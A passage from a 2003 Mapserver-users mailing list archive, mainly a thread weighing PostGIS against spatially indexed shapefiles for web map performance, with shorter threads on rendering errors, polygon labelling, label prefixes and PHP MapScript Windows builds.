taking. ...just my experience. Chip From dlowther at ou.edu Wed Jan 15 10:44:49 2003 From: dlowther at ou.edu (Lowther, David W) Date: Wed, 15 Jan 2003 12:44:49 -0600 Subject: [Mapserver-users] PostGIS / Shapefile Performance Question Message-ID: Paul, Thanks for the excellent info. This is exactly what I was trying to understand. I am using the indexing on the shapefiles as provided by shpindex. I haven't tested without this index, but I haven't had any reason to doubt that the people that recommend using the indices KNOW what they are suggesting and why. It's interesting that ESRI has provided a means (within Arcview) to index shapefile shapes and attributes, but not to index shapefiles spatially. I had never thought about that. I guess I always assumed it was "built in" because ESRI is such a thoughtful vendor especially when it comes to performance of their products. (Choke, cough, gasp - I almost couldn't even write it as a joke...) And the reasons you've listed for using PostGIS are exactly the reasons I would prefer it to shapefiles. In some instances, the expression on a shapefile just won't cut it. And the enterprise-wide database solution in the holy grail. We host the data warehouse for Oklahoma. Datasets come in from a variety of agencies (in shapefile format) via FTP and are automatically uploaded to an OpenGIS compliant SQLServer database that we developed before there WERE OpenGIS compliant solutions out there. We've got a CGI that will build shapefiles from the database on the fly for the area a user desires. The CGI would also map directly from the database, but mapserver blows our CGI's performance away so I switched. Now we have a little more piecemeal solution: the shapefiles for mapserver, the postgis for layers that require it for filtering, our database / CGI for building shapefiles for download, etc - but its all worth it for the performance. I had (and probably still have) hopes of migrating all of this over to PostGIS. It wouldn't take much to change our CGI over to PostGIS's way of storing (or recalling) geometries. It does seem that the open source community would benefit from this effort. Actually all it would be is a Win32 based pgsql2shp that would allow you to filter output based on another shape. We would use this to allow users to download layers based on their map's visible extent and other nifty things like that. Anyway, I've gone on a bit unsolicitedly here. Again, thanks for the info. Dave Lowther -----Original Message----- From: Paul Ramsey [mailto:pramsey at refractions.net] Sent: Wednesday, January 15, 2003 12:12 PM To: Lowther, David W; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] PostGIS / Shapefile Performance Question David, Early in the development of the PostGIS / Mapserver connector we did some benchmarking of PostGIS against Shape files. Shape files will be faster than PostGIS for simple map drawing applications in almost every case. The rendering step is going to be the same regardless of data source. That leaves data access, and an indexed shapefile will always have slightly lower overhead than an indexed spatial table for a simple spatial bounding rectangle query. We found that the speed difference was lowest what the number of features was smallest. Ie, for drawing a map with only 3 features, selected out of a table of 300000, the PostGIS layer took less than 10% longer (on a scale measured in 1/100s of a second, mind you :). For drawing maps with more (several thousand) features, the PostGIS overhead got as high as 20-30%. (Note that all the statements above assume you have build an index on your shape files. It is interesting to note that ESRI has never put out a means of spatially indexing shape files, and as a result there is a kind of collective brain melt in our field which says "shape files are 'too slow' for web mapping". This is true with ArcIMS (no spatial index) but not true with Mapserver.) So why use PostGIS at all? Several reasons: - large shape file archives can be hard to manage if the data changes regularly - if you have an interactive site which allows online updates then concurrent shapefile writing could cause data corruption as well as indexes going out of sync with the underlying data - you can do complex multi-table queries much faster PostGIS than with shape files - you can do attribute-based queries much faster with PostGIS than with shape files (because shape files lack an index on the attributes) - you can use your PostGIS/PostgreSQL system as a full corporate data repository, storing your business attributes and spatial objects in the same data schema, managing the different aspects of the data with many different tools, using standard access methods like JDBC and ODBC Lowther, David W wrote: > Are there certain situations in which the access to PostGIS might be quicker > then a shapefile, say when zoomed in closely or zoomed way out or when doing > a point based query? No. In the very-zoomed-in case the performance will be almost identical, but never faster. > Is there a point where the number of features in a layer would cause PostGIS > or shapefiles to perform better? The PostGIS r-tree index might end up more balanced than the shape file quadtree for certain kinds of spatial data. At larger archive sizes it is possible that this might result in a noticable performance win. I cannot give a concrete example however. > What if I put a monster of a machine in place as the postgres server? Could > I build a postgres server that would be as fast as shapefiles local to > mapserver? Well, if you give your postgis database more oomf to read through the data, you might make it faster than your poor little mapserver read-and-render machine, but it hardly seems fair to make the comparison. If you are buying a monster machine you could just run the read-and-render mapserver on it, and your shape files would still be faster. > What happens as the application scales? If I saw traffic like mapquest.com > or something would shapefiles be faster than PostGIS? Properly laid out shape files, with a tiling system and spatial indexes, should always be faster. If your data changes regularly such a layout might not be managable however, or might be most easily managed with a hybrid system (store working data in PostGIS and snap out a copy for mapserver to read-and-render from on a nightly basis). > Sorry if this seems irrelevant or silly line of questions. I just have a > conflict between the convenience / queryability of PostGIS and the speed of > shapefiles. It is not irrelevant at all. Understanding the tradeoffs (and there *are* tradeoffs for both options) is the core of good systems design. I hope I have provided some useful information. Paul -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ From cthomas at rand.org Wed Jan 15 10:54:03 2003 From: cthomas at rand.org (Thomas, Cord) Date: Wed, 15 Jan 2003 10:54:03 -0800 Subject: [Mapserver-users] PostGIS / Shapefile Performance Question Message-ID: <2732967B446AFD4E9CDE5E37D642548B9D5148@smmail2.rand.org> Okay, could someone simply explain the difference between an "index of shapes" as provided by ArcView indexing of the shape field (i assume this is what you all mean) and a spatial index (which i understand to be some sort of fixed or flexible grid structure grouping sets of shapes into the grids). so, i sort of understand - but basically - WHAT IS THE ESRI SHAPE INDEX? Cord -----Original Message----- From: Lowther, David W [mailto:dlowther at ou.edu] Sent: Wednesday, January 15, 2003 10:45 AM To: 'Paul Ramsey'; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question Paul, Thanks for the excellent info. This is exactly what I was trying to understand. I am using the indexing on the shapefiles as provided by shpindex. I haven't tested without this index, but I haven't had any reason to doubt that the people that recommend using the indices KNOW what they are suggesting and why. It's interesting that ESRI has provided a means (within Arcview) to index shapefile shapes and attributes, but not to index shapefiles spatially. I had never thought about that. I guess I always assumed it was "built in" because ESRI is such a thoughtful vendor especially when it comes to performance of their products. (Choke, cough, gasp - I almost couldn't even write it as a joke...) And the reasons you've listed for using PostGIS are exactly the reasons I would prefer it to shapefiles. In some instances, the expression on a shapefile just won't cut it. And the enterprise-wide database solution in the holy grail. We host the data warehouse for Oklahoma. Datasets come in from a variety of agencies (in shapefile format) via FTP and are automatically uploaded to an OpenGIS compliant SQLServer database that we developed before there WERE OpenGIS compliant solutions out there. We've got a CGI that will build shapefiles from the database on the fly for the area a user desires. The CGI would also map directly from the database, but mapserver blows our CGI's performance away so I switched. Now we have a little more piecemeal solution: the shapefiles for mapserver, the postgis for layers that require it for filtering, our database / CGI for building shapefiles for download, etc - but its all worth it for the performance. I had (and probably still have) hopes of migrating all of this over to PostGIS. It wouldn't take much to change our CGI over to PostGIS's way of storing (or recalling) geometries. It does seem that the open source community would benefit from this effort. Actually all it would be is a Win32 based pgsql2shp that would allow you to filter output based on another shape. We would use this to allow users to download layers based on their map's visible extent and other nifty things like that. Anyway, I've gone on a bit unsolicitedly here. Again, thanks for the info. Dave Lowther -----Original Message----- From: Paul Ramsey [mailto:pramsey at refractions.net] Sent: Wednesday, January 15, 2003 12:12 PM To: Lowther, David W; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] PostGIS / Shapefile Performance Question David, Early in the development of the PostGIS / Mapserver connector we did some benchmarking of PostGIS against Shape files. Shape files will be faster than PostGIS for simple map drawing applications in almost every case. The rendering step is going to be the same regardless of data source. That leaves data access, and an indexed shapefile will always have slightly lower overhead than an indexed spatial table for a simple spatial bounding rectangle query. We found that the speed difference was lowest what the number of features was smallest. Ie, for drawing a map with only 3 features, selected out of a table of 300000, the PostGIS layer took less than 10% longer (on a scale measured in 1/100s of a second, mind you :). For drawing maps with more (several thousand) features, the PostGIS overhead got as high as 20-30%. (Note that all the statements above assume you have build an index on your shape files. It is interesting to note that ESRI has never put out a means of spatially indexing shape files, and as a result there is a kind of collective brain melt in our field which says "shape files are 'too slow' for web mapping". This is true with ArcIMS (no spatial index) but not true with Mapserver.) So why use PostGIS at all? Several reasons: - large shape file archives can be hard to manage if the data changes regularly - if you have an interactive site which allows online updates then concurrent shapefile writing could cause data corruption as well as indexes going out of sync with the underlying data - you can do complex multi-table queries much faster PostGIS than with shape files - you can do attribute-based queries much faster with PostGIS than with shape files (because shape files lack an index on the attributes) - you can use your PostGIS/PostgreSQL system as a full corporate data repository, storing your business attributes and spatial objects in the same data schema, managing the different aspects of the data with many different tools, using standard access methods like JDBC and ODBC Lowther, David W wrote: > Are there certain situations in which the access to PostGIS might be quicker > then a shapefile, say when zoomed in closely or zoomed way out or when doing > a point based query? No. In the very-zoomed-in case the performance will be almost identical, but never faster. > Is there a point where the number of features in a layer would cause PostGIS > or shapefiles to perform better? The PostGIS r-tree index might end up more balanced than the shape file quadtree for certain kinds of spatial data. At larger archive sizes it is possible that this might result in a noticable performance win. I cannot give a concrete example however. > What if I put a monster of a machine in place as the postgres server? Could > I build a postgres server that would be as fast as shapefiles local to > mapserver? Well, if you give your postgis database more oomf to read through the data, you might make it faster than your poor little mapserver read-and-render machine, but it hardly seems fair to make the comparison. If you are buying a monster machine you could just run the read-and-render mapserver on it, and your shape files would still be faster. > What happens as the application scales? If I saw traffic like mapquest.com > or something would shapefiles be faster than PostGIS? Properly laid out shape files, with a tiling system and spatial indexes, should always be faster. If your data changes regularly such a layout might not be managable however, or might be most easily managed with a hybrid system (store working data in PostGIS and snap out a copy for mapserver to read-and-render from on a nightly basis). > Sorry if this seems irrelevant or silly line of questions. I just have a > conflict between the convenience / queryability of PostGIS and the speed of > shapefiles. It is not irrelevant at all. Understanding the tradeoffs (and there *are* tradeoffs for both options) is the core of good systems design. I hope I have provided some useful information. Paul -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dlowther at ou.edu Wed Jan 15 10:55:06 2003 From: dlowther at ou.edu (Lowther, David W) Date: Wed, 15 Jan 2003 12:55:06 -0600 Subject: [Mapserver-users] PostGIS / Shapefile Performance Question Message-ID: Cord, Basically I think of it (and I could be off the mark here also) as indexing the shape column is like indexing the roadname column - how do i find each shape fastest. Indexing the shapefile spatially would be more like Mapserver uses tileindex for knowing which raster files are in the current extent before it even tries to find them. Does that make it clear as mud? Dave -----Original Message----- From: Thomas, Cord [mailto:cthomas at rand.org] Sent: Wednesday, January 15, 2003 12:54 PM To: 'Lowther, David W'; 'Paul Ramsey'; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question Okay, could someone simply explain the difference between an "index of shapes" as provided by ArcView indexing of the shape field (i assume this is what you all mean) and a spatial index (which i understand to be some sort of fixed or flexible grid structure grouping sets of shapes into the grids). so, i sort of understand - but basically - WHAT IS THE ESRI SHAPE INDEX? Cord -----Original Message----- From: Lowther, David W [mailto:dlowther at ou.edu] Sent: Wednesday, January 15, 2003 10:45 AM To: 'Paul Ramsey'; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question Paul, Thanks for the excellent info. This is exactly what I was trying to understand. I am using the indexing on the shapefiles as provided by shpindex. I haven't tested without this index, but I haven't had any reason to doubt that the people that recommend using the indices KNOW what they are suggesting and why. It's interesting that ESRI has provided a means (within Arcview) to index shapefile shapes and attributes, but not to index shapefiles spatially. I had never thought about that. I guess I always assumed it was "built in" because ESRI is such a thoughtful vendor especially when it comes to performance of their products. (Choke, cough, gasp - I almost couldn't even write it as a joke...) And the reasons you've listed for using PostGIS are exactly the reasons I would prefer it to shapefiles. In some instances, the expression on a shapefile just won't cut it. And the enterprise-wide database solution in the holy grail. We host the data warehouse for Oklahoma. Datasets come in from a variety of agencies (in shapefile format) via FTP and are automatically uploaded to an OpenGIS compliant SQLServer database that we developed before there WERE OpenGIS compliant solutions out there. We've got a CGI that will build shapefiles from the database on the fly for the area a user desires. The CGI would also map directly from the database, but mapserver blows our CGI's performance away so I switched. Now we have a little more piecemeal solution: the shapefiles for mapserver, the postgis for layers that require it for filtering, our database / CGI for building shapefiles for download, etc - but its all worth it for the performance. I had (and probably still have) hopes of migrating all of this over to PostGIS. It wouldn't take much to change our CGI over to PostGIS's way of storing (or recalling) geometries. It does seem that the open source community would benefit from this effort. Actually all it would be is a Win32 based pgsql2shp that would allow you to filter output based on another shape. We would use this to allow users to download layers based on their map's visible extent and other nifty things like that. Anyway, I've gone on a bit unsolicitedly here. Again, thanks for the info. Dave Lowther -----Original Message----- From: Paul Ramsey [mailto:pramsey at refractions.net] Sent: Wednesday, January 15, 2003 12:12 PM To: Lowther, David W; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] PostGIS / Shapefile Performance Question David, Early in the development of the PostGIS / Mapserver connector we did some benchmarking of PostGIS against Shape files. Shape files will be faster than PostGIS for simple map drawing applications in almost every case. The rendering step is going to be the same regardless of data source. That leaves data access, and an indexed shapefile will always have slightly lower overhead than an indexed spatial table for a simple spatial bounding rectangle query. We found that the speed difference was lowest what the number of features was smallest. Ie, for drawing a map with only 3 features, selected out of a table of 300000, the PostGIS layer took less than 10% longer (on a scale measured in 1/100s of a second, mind you :). For drawing maps with more (several thousand) features, the PostGIS overhead got as high as 20-30%. (Note that all the statements above assume you have build an index on your shape files. It is interesting to note that ESRI has never put out a means of spatially indexing shape files, and as a result there is a kind of collective brain melt in our field which says "shape files are 'too slow' for web mapping". This is true with ArcIMS (no spatial index) but not true with Mapserver.) So why use PostGIS at all? Several reasons: - large shape file archives can be hard to manage if the data changes regularly - if you have an interactive site which allows online updates then concurrent shapefile writing could cause data corruption as well as indexes going out of sync with the underlying data - you can do complex multi-table queries much faster PostGIS than with shape files - you can do attribute-based queries much faster with PostGIS than with shape files (because shape files lack an index on the attributes) - you can use your PostGIS/PostgreSQL system as a full corporate data repository, storing your business attributes and spatial objects in the same data schema, managing the different aspects of the data with many different tools, using standard access methods like JDBC and ODBC Lowther, David W wrote: > Are there certain situations in which the access to PostGIS might be quicker > then a shapefile, say when zoomed in closely or zoomed way out or when doing > a point based query? No. In the very-zoomed-in case the performance will be almost identical, but never faster. > Is there a point where the number of features in a layer would cause PostGIS > or shapefiles to perform better? The PostGIS r-tree index might end up more balanced than the shape file quadtree for certain kinds of spatial data. At larger archive sizes it is possible that this might result in a noticable performance win. I cannot give a concrete example however. > What if I put a monster of a machine in place as the postgres server? Could > I build a postgres server that would be as fast as shapefiles local to > mapserver? Well, if you give your postgis database more oomf to read through the data, you might make it faster than your poor little mapserver read-and-render machine, but it hardly seems fair to make the comparison. If you are buying a monster machine you could just run the read-and-render mapserver on it, and your shape files would still be faster. > What happens as the application scales? If I saw traffic like mapquest.com > or something would shapefiles be faster than PostGIS? Properly laid out shape files, with a tiling system and spatial indexes, should always be faster. If your data changes regularly such a layout might not be managable however, or might be most easily managed with a hybrid system (store working data in PostGIS and snap out a copy for mapserver to read-and-render from on a nightly basis). > Sorry if this seems irrelevant or silly line of questions. I just have a > conflict between the convenience / queryability of PostGIS and the speed of > shapefiles. It is not irrelevant at all. Understanding the tradeoffs (and there *are* tradeoffs for both options) is the core of good systems design. I hope I have provided some useful information. Paul -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From cthomas at rand.org Wed Jan 15 11:00:46 2003 From: cthomas at rand.org (Thomas, Cord) Date: Wed, 15 Jan 2003 11:00:46 -0800 Subject: [Mapserver-users] PostGIS / Shapefile Performance Question Message-ID: <2732967B446AFD4E9CDE5E37D642548B9D5149@smmail2.rand.org> Yeah, to me it does, that sounded a lot like an ESRI spokesperson talk (lol) - i guess i am looking for what this mystical index of esri's looks like - i don't think it is int he shapefile specs - though i could be wrong. i guess i should look there. basically, mapserver's tileindex should look like: tile 1 - shape ID a, b, c tile 2 - shape ID b, e, f tile 3 - shape ID f, g, a where the question is - what shapes have either their extent somewhere in the tile (That is the scenario i outline above) or have their centers in the tile (which would not have shape values in multiple tiles). this is also how i would imagine esri's shape index working... cord -----Original Message----- From: Lowther, David W [mailto:dlowther at ou.edu] Sent: Wednesday, January 15, 2003 10:55 AM To: 'Thomas, Cord'; Lowther, David W; 'Paul Ramsey'; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question Cord, Basically I think of it (and I could be off the mark here also) as indexing the shape column is like indexing the roadname column - how do i find each shape fastest. Indexing the shapefile spatially would be more like Mapserver uses tileindex for knowing which raster files are in the current extent before it even tries to find them. Does that make it clear as mud? Dave -----Original Message----- From: Thomas, Cord [mailto:cthomas at rand.org] Sent: Wednesday, January 15, 2003 12:54 PM To: 'Lowther, David W'; 'Paul Ramsey'; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question Okay, could someone simply explain the difference between an "index of shapes" as provided by ArcView indexing of the shape field (i assume this is what you all mean) and a spatial index (which i understand to be some sort of fixed or flexible grid structure grouping sets of shapes into the grids). so, i sort of understand - but basically - WHAT IS THE ESRI SHAPE INDEX? Cord -----Original Message----- From: Lowther, David W [mailto:dlowther at ou.edu] Sent: Wednesday, January 15, 2003 10:45 AM To: 'Paul Ramsey'; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] PostGIS / Shapefile Performance Question Paul, Thanks for the excellent info. This is exactly what I was trying to understand. I am using the indexing on the shapefiles as provided by shpindex. I haven't tested without this index, but I haven't had any reason to doubt that the people that recommend using the indices KNOW what they are suggesting and why. It's interesting that ESRI has provided a means (within Arcview) to index shapefile shapes and attributes, but not to index shapefiles spatially. I had never thought about that. I guess I always assumed it was "built in" because ESRI is such a thoughtful vendor especially when it comes to performance of their products. (Choke, cough, gasp - I almost couldn't even write it as a joke...) And the reasons you've listed for using PostGIS are exactly the reasons I would prefer it to shapefiles. In some instances, the expression on a shapefile just won't cut it. And the enterprise-wide database solution in the holy grail. We host the data warehouse for Oklahoma. Datasets come in from a variety of agencies (in shapefile format) via FTP and are automatically uploaded to an OpenGIS compliant SQLServer database that we developed before there WERE OpenGIS compliant solutions out there. We've got a CGI that will build shapefiles from the database on the fly for the area a user desires. The CGI would also map directly from the database, but mapserver blows our CGI's performance away so I switched. Now we have a little more piecemeal solution: the shapefiles for mapserver, the postgis for layers that require it for filtering, our database / CGI for building shapefiles for download, etc - but its all worth it for the performance. I had (and probably still have) hopes of migrating all of this over to PostGIS. It wouldn't take much to change our CGI over to PostGIS's way of storing (or recalling) geometries. It does seem that the open source community would benefit from this effort. Actually all it would be is a Win32 based pgsql2shp that would allow you to filter output based on another shape. We would use this to allow users to download layers based on their map's visible extent and other nifty things like that. Anyway, I've gone on a bit unsolicitedly here. Again, thanks for the info. Dave Lowther -----Original Message----- From: Paul Ramsey [mailto:pramsey at refractions.net] Sent: Wednesday, January 15, 2003 12:12 PM To: Lowther, David W; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] PostGIS / Shapefile Performance Question David, Early in the development of the PostGIS / Mapserver connector we did some benchmarking of PostGIS against Shape files. Shape files will be faster than PostGIS for simple map drawing applications in almost every case. The rendering step is going to be the same regardless of data source. That leaves data access, and an indexed shapefile will always have slightly lower overhead than an indexed spatial table for a simple spatial bounding rectangle query. We found that the speed difference was lowest what the number of features was smallest. Ie, for drawing a map with only 3 features, selected out of a table of 300000, the PostGIS layer took less than 10% longer (on a scale measured in 1/100s of a second, mind you :). For drawing maps with more (several thousand) features, the PostGIS overhead got as high as 20-30%. (Note that all the statements above assume you have build an index on your shape files. It is interesting to note that ESRI has never put out a means of spatially indexing shape files, and as a result there is a kind of collective brain melt in our field which says "shape files are 'too slow' for web mapping". This is true with ArcIMS (no spatial index) but not true with Mapserver.) So why use PostGIS at all? Several reasons: - large shape file archives can be hard to manage if the data changes regularly - if you have an interactive site which allows online updates then concurrent shapefile writing could cause data corruption as well as indexes going out of sync with the underlying data - you can do complex multi-table queries much faster PostGIS than with shape files - you can do attribute-based queries much faster with PostGIS than with shape files (because shape files lack an index on the attributes) - you can use your PostGIS/PostgreSQL system as a full corporate data repository, storing your business attributes and spatial objects in the same data schema, managing the different aspects of the data with many different tools, using standard access methods like JDBC and ODBC Lowther, David W wrote: > Are there certain situations in which the access to PostGIS might be quicker > then a shapefile, say when zoomed in closely or zoomed way out or when doing > a point based query? No. In the very-zoomed-in case the performance will be almost identical, but never faster. > Is there a point where the number of features in a layer would cause PostGIS > or shapefiles to perform better? The PostGIS r-tree index might end up more balanced than the shape file quadtree for certain kinds of spatial data. At larger archive sizes it is possible that this might result in a noticable performance win. I cannot give a concrete example however. > What if I put a monster of a machine in place as the postgres server? Could > I build a postgres server that would be as fast as shapefiles local to > mapserver? Well, if you give your postgis database more oomf to read through the data, you might make it faster than your poor little mapserver read-and-render machine, but it hardly seems fair to make the comparison. If you are buying a monster machine you could just run the read-and-render mapserver on it, and your shape files would still be faster. > What happens as the application scales? If I saw traffic like mapquest.com > or something would shapefiles be faster than PostGIS? Properly laid out shape files, with a tiling system and spatial indexes, should always be faster. If your data changes regularly such a layout might not be managable however, or might be most easily managed with a hybrid system (store working data in PostGIS and snap out a copy for mapserver to read-and-render from on a nightly basis). > Sorry if this seems irrelevant or silly line of questions. I just have a > conflict between the convenience / queryability of PostGIS and the speed of > shapefiles. It is not irrelevant at all. Understanding the tradeoffs (and there *are* tradeoffs for both options) is the core of good systems design. I hope I have provided some useful information. Paul -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From m_anderson14 at hotmail.com Wed Jan 15 11:18:34 2003 From: m_anderson14 at hotmail.com (Michael Anderson) Date: Wed, 15 Jan 2003 19:18:34 +0000 Subject: [Mapserver-users] Error rendering line shapefiles Message-ID: Today I started getting a strange error with I try to render a shapefile of polylines. If I turn the layer on and either zoom out too far or zoom to the full extent of the map, I get this error: msDrawShape(): General error message. Only polygon or line shapes can be drawn using a line layer definition If I zoom in it works fine. Zooming out is also OK until the extent gets larger than the extent defined in the map file. Zooming to the full extent produces the error every time. The shapefile was created in ArcView and there are two shapefiles in the map file that were produced the same way and work fine. Any ideas on what is going on? My only guess so far is that there are some strange shapes in the shapefile and the error occurs when they are in the visible extent. Mike _________________________________________________________________ MSN 8 with e-mail virus protection service: 2 months FREE* http://join.msn.com/?page=features/virus From pramsey at refractions.net Wed Jan 15 11:29:11 2003 From: pramsey at refractions.net (Paul Ramsey) Date: Wed, 15 Jan 2003 11:29:11 -0800 Subject: [Mapserver-users] PostGIS / Shapefile Performance Question In-Reply-To: <2732967B446AFD4E9CDE5E37D642548B9D5148@smmail2.rand.org> References: <2732967B446AFD4E9CDE5E37D642548B9D5148@smmail2.rand.org> Message-ID: <3E25B687.80201@refractions.net> Thomas, Alot of confusion is caused by the fact that the SHX file is called the "index file". It *is* an index, but it is not a *spatial* index. It is an index of the byte offset location of shape records in the SHP file, which allows software to quickly read individual records out of the SHP file without scanning every single byte. I was *wrong* about ESRI not providing spatial indexes on shape files, by the way. A quick read of the ArcView help file tells me that mysterious SBN and SBX files ArcView generates are some form of spatial index. Whether quads or grids or whatnot is not indicated. So if you want to ship your shape files around with indexes remember to generate and keep your SBN and SBX files. P. Thomas, Cord wrote: > > could someone simply explain the difference between an "index of > shapes" as provided by ArcView indexing of the shape field (i assume > this is what you all mean) and a spatial index (which i understand to > be some sort of fixed or flexible grid structure grouping sets of > shapes into the grids). -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ From georef at tie.cl Wed Jan 15 11:41:34 2003 From: georef at tie.cl (Juanse) Date: Wed, 15 Jan 2003 16:41:34 -0300 Subject: [Mapserver-users] label prooblem References: <005501c2bcbd$0ef31e10$1805000a@zedxinc.com> Message-ID: <008101c2bcce$1cb67680$0500a8c0@temuko.cl> This is a multi-part message in MIME format. ------=_NextPart_000_007E_01C2BCB4.F747ACC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Aaron I am not sure but it seem that the polygons not label because of their = concave/convex shape have their center outside the polygon, and = therefore mapsever must privilege the neighbouring polygons' label (at = least this will be the case in mapinfo) Juanse Temuko-Chile ----- Original Message -----=20 From: Aaron D. Hunt=20 To: mapserver-users at lists.gis.umn.edu=20 Sent: Wednesday, January 15, 2003 2:39 PM Subject: [Mapserver-users] label prooblem I am making a map of a farm with field boundaries. Can any one tell me = why mapserver is not labeling all the polygons (see attached). I have force label to true. Aaron D. Hunt --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.441 / Virus Database: 247 - Release Date: 09/01/03 ------=_NextPart_000_007E_01C2BCB4.F747ACC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Aaron
 
I am not sure but it seem that the = polygons not=20 label because of their concave/convex shape have their center outside = the=20 polygon, and therefore mapsever must privilege the neighbouring = polygons' label=20 (at least this will be the case in mapinfo)
 
Juanse
Temuko-Chile
 
----- Original Message -----
From:=20 Aaron D. = Hunt=20
To: mapserver-users at lists.g= is.umn.edu=20
Sent: Wednesday, January 15, = 2003 2:39=20 PM
Subject: [Mapserver-users] = label=20 prooblem

I am making a map of a farm with = field=20 boundaries. Can any one tell me why mapserver is not labeling all the = polygons=20 (see attached).
I have force label to = true.
 
Aaron D. = Hunt

---
Outgoing mail is certified Virus = Free.
Checked=20 by AVG anti-virus system (http://www.grisoft.com).
Version: = 6.0.441=20 / Virus Database: 247 - Release Date: = 09/01/03
------=_NextPart_000_007E_01C2BCB4.F747ACC0-- From Chip.Hankley at GASAI.Com Wed Jan 15 11:53:38 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Wed, 15 Jan 2003 13:53:38 -0600 Subject: [Mapserver-users] Label Prefix in Mapfile Message-ID: <3DFF131E4E6D2D4198CDD758F35A5353027852BE@postoffice.GASAI.Com> Is it possible to add CLASS specific prefixes to labels via the mapfile? For instance, I have a layer showing municipal boundaries; this layer is broken out into several classes, one for City, Town, and Village. For my CITY class, I would like my labels to be rendered as 'City of ' + [MCD_NAME], villages as 'Village of ' + [MCD_NAME] etc. Chip Hankley From pramsey at refractions.net Wed Jan 15 12:02:38 2003 From: pramsey at refractions.net (Paul Ramsey) Date: Wed, 15 Jan 2003 12:02:38 -0800 Subject: [Mapserver-users] Label Prefix in Mapfile In-Reply-To: <3DFF131E4E6D2D4198CDD758F35A5353027852BE@postoffice.GASAI.Com> References: <3DFF131E4E6D2D4198CDD758F35A5353027852BE@postoffice.GASAI.Com> Message-ID: <3E25BE5E.7070905@refractions.net> Another place where PostGIS could come to the rescue.. just do the name processing as part of the SQL query :) P. Hankley, Chip wrote: > Is it possible to add CLASS specific prefixes to labels via the mapfile? > > For instance, I have a layer showing municipal boundaries; this layer is > broken out into several classes, one for City, Town, and Village. For my > CITY class, I would like my labels to be rendered as 'City of ' + > [MCD_NAME], villages as 'Village of ' + [MCD_NAME] etc. -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ From cthomas at rand.org Wed Jan 15 12:06:10 2003 From: cthomas at rand.org (Thomas, Cord) Date: Wed, 15 Jan 2003 12:06:10 -0800 Subject: [Mapserver-users] PostGIS / Shapefile Performance Question Message-ID: <2732967B446AFD4E9CDE5E37D642548B9D514D@smmail2.rand.org> Paul This is what i understood ArcView (and mapobjects, and ArcInfo to be sure) to do. So, does MapServer read the sbn/sbx files? or just the .shx file. Oh wait, sorry - wasnt paying attention - MapServer creates its own index, right? So, was shpindex written to provide the quadtree index because the sbn format is an unknown (according to http://gdal.velocet.ca/projects/shapelib/shapelib.html it is unpublished) or because the quadtree was proven to be better. Has anyone ever been able to explore either with ESRI or others why the sbn/sbx is undocumented? Cord -----Original Message----- From: Paul Ramsey [mailto:pramsey at refractions.net] Sent: Wednesday, January 15, 2003 11:29 AM To: Thomas, Cord; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] PostGIS / Shapefile Performance Question Thomas, Alot of confusion is caused by the fact that the SHX file is called the "index file". It *is* an index, but it is not a *spatial* index. It is an index of the byte offset location of shape records in the SHP file, which allows software to quickly read individual records out of the SHP file without scanning every single byte. I was *wrong* about ESRI not providing spatial indexes on shape files, by the way. A quick read of the ArcView help file tells me that mysterious SBN and SBX files ArcView generates are some form of spatial index. Whether quads or grids or whatnot is not indicated. So if you want to ship your shape files around with indexes remember to generate and keep your SBN and SBX files. P. Thomas, Cord wrote: > > could someone simply explain the difference between an "index of > shapes" as provided by ArcView indexing of the shape field (i assume > this is what you all mean) and a spatial index (which i understand to > be some sort of fixed or flexible grid structure grouping sets of > shapes into the grids). -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ From assefa at dmsolutions.ca Wed Jan 15 12:09:26 2003 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Wed, 15 Jan 2003 15:09:26 -0500 Subject: [Mapserver-users] Adding php_mapscript References: <200301160155.AA119079204@cad.go.th> Message-ID: <3E25BFF6.772636B5@dmsolutions.ca> Windows binaries for the latest release of mapsevrer 3.6.4 are available on the download site for php4.2.3 and php4.3.0 : http://www2.dmsolutions.ca/mapserver/dl/mapserver-3.6.4-win32-php4.2.3-libwww.zip http://www2.dmsolutions.ca/mapserver/dl/mapserver-3.6.4-win32-php4.3.0-libwww.zip Later, krung wrote: > Hi Beth > > Did you use php_mapscript.dll the same version as your PHP? I went to dmsolution a few days ago, I couldn't find php_mapscript.dll with PHP 4.3.0 support. > > Krung. > > ---------- Original Message ---------------------------------- > From: Beth Baily > Date: Wed, 15 Jan 2003 10:37:25 -0700 > > >Listers, > > > >I have installed and tested PHP4 on my Win2000 workstation with Apache > >and cgi 